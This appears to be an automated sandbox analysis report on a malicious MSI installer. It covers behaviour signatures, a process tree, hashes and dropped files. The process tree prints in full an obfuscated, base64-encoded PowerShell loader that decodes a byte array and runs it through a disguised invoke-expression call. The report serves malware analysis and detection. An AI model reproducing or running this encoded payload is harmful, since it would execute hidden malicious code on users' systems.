Overview

overview

6

Static

static

3

15471083.msi

windows10-2004-x64

6

15471083.msi

windows11-ltsc_2024-x64

6

Analysis

  • max time kernel
    148s
  • max time network
    128s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 12:36

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    15471083.msi
  • Size 3.1MB
  • Sample260930-ptcbbawvet
  • SHA256 dcfd3c46bc63332ea3d30ca8571514fee423b8ab1ba4d019f0f81d0538e1a0e6
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
defense_evasionpersistenceprivilege_escalationransomware

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Drops file in Windows directory 12 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 22 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\15471083.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3652
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1920
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1676
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedCommand dABSAHkAewAoAFsASQBOAFQAXQAoAGcARQB0AC0AUgBhAE4AZABvAE0AKQApAHwAbwB1AFQALQBOAHUAbABsADsAfQBDAEEAdABDAGgAewB9AAoAWwBTAFkAcwBUAGUATQAuAHQAaAByAEUAQQBkAEkAbgBHAC4AdABoAFIARQBBAGQAXQA6ADoAcwBMAEUAZQBwACgAMQA3ADUAKQA7ACAAWwBWAE8AaQBEAF0AMQA7AAoACgAkAG4AbgBuAD0AQAAoADIANAAxACwAMgA0ADQALAAyADAALAAyADIAMQAsADMANgAsADkALAAzADIALAAyADEALAAyADAAOAAsADIAMQA1ACwAMwA3ACwAMwA1ACwAMgA1ACwAMwAwACwAMgAzACwAMgAwADgALAAzACwANAAxACwAMwA1ACwAMwA2ACwAMgAxACwAMgA5ACwAMgAzADUALAAzADcALAAzADUALAAyADUALAAzADAALAAyADMALAAyADAAOAAsADMALAA0ADEALAAzADUALAAzADYALAAyADEALAAyADkALAAyADIAMgAsADIALAAzADcALAAzADAALAAzADYALAAyADUALAAyADkALAAyADEALAAyADIAMgAsADIANAA5ACwAMwAwACwAMwA2ACwAMgAxACwAMwA0ACwAMwAxACwAMwAyACwAMwAsADIAMQAsADMANAAsADMAOAAsADIANQAsADEAOQAsADIAMQAsADMANQAsADIAMwA1ACwAMwAyACwAMwA3ACwAMQA4ACwAMgA4ACwAMgA1ACwAMQA5ACwAMgAwADgALAAxADkALAAyADgALAAxADcALAAzADUALAAzADUALAAyADAAOAAsADIANAA0ACwAMgA5ACwANAAzACwAMQAxACwAMgA0ADQALAAyADgALAAyADgALAAyADQAOQAsADIAOQAsADMAMgAsADMAMQAsADMANAAsADMANgAsADIAMQA2ACwAMgAxADAALAAzADcALAAzADUALAAyADEALAAzADQALAAyADIANwAsADIAMgA2ACwAMgAxADAALAAyADEANwAsADEAMwAsADMAMgAsADMANwAsADEAOAAsADIAOAAsADIANQAsADEAOQAsADIAMAA4ACwAMwA1ACwAMwA2ACwAMQA3ACwAMwA2ACwAMgA1ACwAMQA5ACwAMgAwADgALAAyADEALAA0ADAALAAzADYALAAyADEALAAzADQALAAzADAALAAyADAAOAAsADEAOAAsADMAMQAsADMAMQAsADIAOAAsADIAMAA4ACwAMwAsADIANAAsADMAMQAsADMAOQAsADcALAAyADUALAAzADAALAAyADAALAAzADEALAAzADkALAAyADEANgAsADIANAA5ACwAMwAwACwAMwA2ACwAMAAsADMANgAsADMANAAsADIAMAA4ACwAMgA0ACwAMgAyADAALAAyADUALAAzADAALAAzADYALAAyADAAOAAsADMAMAAsADIAMQA3ACwAMgAzADUALAAxADEALAAyADQANAAsADIAOAAsADIAOAAsADIANAA5ACwAMgA5ACwAMwAyACwAMwAxACwAMwA0ACwAMwA2ACwAMgAxADYALAAyADEAMAAsADIANwAsADIAMQAsADMANAAsADMAMAAsADIAMQAsADIAOAAsADIAMgA3ACwAMgAyADYALAAyADEAMAAsADIAMQA3ACwAMQAzACwAMwAyACwAMwA3ACwAMQA4ACwAMgA4ACwAMgA1ACwAMQA5ACwAMgAwADgALAAzADUALAAzADYALAAxADcALAAzADYALAAyADUALAAxADkALAAyADAAOAAsADIAMQAsADQAMAAsADMANgAsADIAMQAsADMANAAsADMAMAAsADIAMAA4ACwAMgA0ADkALAAzADAALAAzADYALAAwACwAMwA2ACwAMwA0ACwAMgAwADgALAAyADQANwAsADIAMQAsADMANgAsADIANAAzACwAMwAxACwAMwAwACwAMwA1ACwAMwAxACwAMgA4ACwAMgAxACwANwAsADIANQAsADMAMAAsADIAMAAsADMAMQAsADMAOQAsADIAMQA2ACwAMgAxADcALAAyADMANQAsADQANQAsADIAMQA1ACwAMgAzADUALAAxADEALAAzADgALAAzADEALAAyADUALAAyADAALAAxADMALAAxADEALAAyADQANAAsADIAOQAsADEAMwAsADIAMwA0ACwAMgAzADQALAAzACwAMgA0ACwAMwAxACwAMwA5ACwANwAsADIANQAsADMAMAAsADIAMAAsADMAMQAsADMAOQAsADIAMQA2ACwAMQAxACwAMgA0ADQALAAyADkALAAxADMALAAyADMANAAsADIAMwA0ACwAMgA0ADcALAAyADEALAAzADYALAAyADQAMwAsADMAMQAsADMAMAAsADMANQAsADMAMQAsADIAOAAsADIAMQAsADcALAAyADUALAAzADAALAAyADAALAAzADEALAAzADkALAAyADEANgAsADIAMQA3ACwAMgAyADAALAAyADIANAAsADIAMQA3ACwAMgAzADUALAAyADEAMgAsADYALAAzADkALAAyADMANwAsADIANAAwACwANAAzACwAMgAxADAALAA1ACwAMwA1ACwAMgAxACwAMwA0ACwAMgAyADEALAAyADQAMQAsADIAMwAsADIAMQAsADMAMAAsADMANgAsADIAMQAwACwAMgAzADcALAAyADEAMAAsADMAMgAsADQAMQAsADMANgAsADIANAAsADMAMQAsADMAMAAsADIAMgAxACwAMwA0ACwAMgAxACwAMwAzACwAMwA3ACwAMgAxACwAMwA1ACwAMwA2ACwAMwA1ACwAMgAyADMALAAyADIANwAsADIAMgAyACwAMgAzADAALAAyADIAMgAsADIAMwAwACwAMgAxADAALAA0ADUALAAyADMANQAsADIAMQAyACwAOAAsADIANgAsADIAMwA3ACwAMgA1ACwAMgA1ADQALAA2ACwAMgA1ADUALAAyADUAMQAsADIAMQAsADIAMgAxACwAMwA0ACwAMgAxACwAMwAsADMANgAsADIANQAzACwAMgAxACwANAAsADIANAAsADIANQA1ACwAMgA0ADQALAAyADAAOAAsADIAMgAxACwANQAsADMANAAsADIANQAsADIAMAA4ACwAMgAxADUALAAyADQALAAzADYALAAzADYALAAzADIALAAzADUALAAyADMANAAsADIAMgAzACwAMgAyADMALAAxADkALAAyADIALAAyADIAMQAsADIAMgA2ACwAMgAyADEALAAzADcALAAzADIALAAyADIAMgAsADEAOQAsADMAMQAsADIAOQAsADIAMgAzACwAMwA5ACwAMQA3ACwAMwA1ACwAMwA2ACwAMgAxACwAMgAyADIALAAzADUALAAzADEALAAyADEANQAsADIAMAA4ACwAMgAyADEALAAyADQAOAAsADIAMQAsADEANwAsADIAMAAsADIAMQAsADMANAAsADMANQAsADIAMAA4ACwAMgAxADIALAA2ACwAMwA5ACwAMgAzADUALAAyADEAMgAsADgALAAyADYALAA0ADQALAAyADEANAAsADIAMQA2ACwAMgAxADUALAAzADkALAAyADkALAAzADYALAA4ACwAMgA0ADkALAAyADIANAAsADMAOAAsADIAMgA2ACwAMgA0ADQALAAzADQALAAyADQANQAsADIANAA1ACwAMgA3ACwAMwA5ACwAMgAyADkALAAyADcALAAyADUANQAsADQAMAAsADIAMQA1ACwAMQAxACwAMgAyADgALAAyADIAMAAsADIAMgA1ACwAMgAyADUALAAyADIAMAAsADIAMgA1ACwAMgAzADEALAAxADMALAAyADAAOAAsADIAMgAxACwAMgA2ACwAMgA1ADUALAAyADUALAAyADUANAAsADIAMAA4ACwAMgAxADUALAAyADEANQAsADIAMQA3ACkAOwAKADAALgAuACgAJABuAG4AbgAuAEwAZQBuAGcAdABoACAALQAgADEAKQB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJABuAG4AbgBbACQAXwBdAD0AWwBiAHkAdABlAF0AKAAoACQAbgBuAG4AWwAkAF8AXQAtACgAMQAxADcAKwA1ADQAKwA1ACkAJQAyADUANgArADIANQA2ACkAJQAyADUANgApAH0AOwAKAAoACgAkAHUAPQAoACQAbgBuAG4AfABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAewBbAGMAaABhAHIAXQAkAF8AIAB9ACkAIAAtAGoAbwBpAG4AIAAnACcACgAKAAoAJgAoACcAdgBZAEsATABtAGkAaQBlAHAASwBsAFcAdwBMAGMAWAAnAFsANgAsADcALAAxADUAXQAgAC0ASgBPAEkAbgAgACcAJwApACQAdQA=
        2⤵
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2768
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qfpugocc\qfpugocc.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1688
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC50B.tmp" "c:\Users\Admin\AppData\Local\Temp\qfpugocc\CSC99C4BEC2409D4CC7B893C3E196D3912E.TMP"
            4⤵
              PID:6092
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Checks SCSI registry key(s)
        • Suspicious use of AdjustPrivilegeToken
        PID:2868

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e59b8d7.rbs
            • Path C:\Config.Msi\e59b8d7.rbs
            • Size 8KB
            • SHA256 c857f1d2112adfd8e9212189f62e188fc7ea86e55dcb051dbe056a727e4f8dac
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            RESC50B.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\RESC50B.tmp
            • Size 1KB
            • SHA256 0ce1824e0ca675ee092b9b8b8410927799e1ea630de7fac6858bbc913ab962f4
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            qfpugocc.dll
            • Path C:\Users\Admin\AppData\Local\Temp\qfpugocc\qfpugocc.dll
            • Size 3KB
            • SHA256 f21e9f560b2a7fb0e4e9ad4b4a34c658d93dd1b435ccecd1042fa9234e215492
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            e59b8d6.msi
            • Path C:\Windows\Installer\e59b8d6.msi
            • Size 3.1MB
            • SHA256 dcfd3c46bc63332ea3d30ca8571514fee423b8ab1ba4d019f0f81d0538e1a0e6
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            metadata-2
            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 8e2b396a6f960883c7bdb83ce4f8d06f01f4e827e24baeebd0e80457697aadfd
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            {509f147c-46d9-4885-82ab-d6044336f7df}_OnDiskSnapshotProp
            • Path \??\Volume{e35bb194-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{509f147c-46d9-4885-82ab-d6044336f7df}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 6cf5574e9eafcd4c726dc5dd1dc4a734bdf5e85705415fbb7727dede473379f9
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            CSC99C4BEC2409D4CC7B893C3E196D3912E.TMP
            • Path \??\c:\Users\Admin\AppData\Local\Temp\qfpugocc\CSC99C4BEC2409D4CC7B893C3E196D3912E.TMP
            • Size 652B
            • SHA256 4060fdc2eb3409f616c6376039c75334e45256fe04101221a8bfd9d833242dd6
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            qfpugocc.0.cs
            • Path \??\c:\Users\Admin\AppData\Local\Temp\qfpugocc\qfpugocc.0.cs
            • Size 214B
            • SHA256 9061aaeeef85ef722367d1321a12312418eb690a261e2ad97fef786f16e436a7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            qfpugocc.cmdline
            • Path \??\c:\Users\Admin\AppData\Local\Temp\qfpugocc\qfpugocc.cmdline
            • Size 369B
            • SHA256 50db4432aaaf748e68c3e2373f749e70b86a5f9a6565e206be5a06f1a1ed26ae
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/2768-16-0x000001E573D00000-0x000001E573D22000-memory.dmp
            Download

            memory/2768-71-0x000001E573CF0000-0x000001E573CF8000-memory.dmp
            Download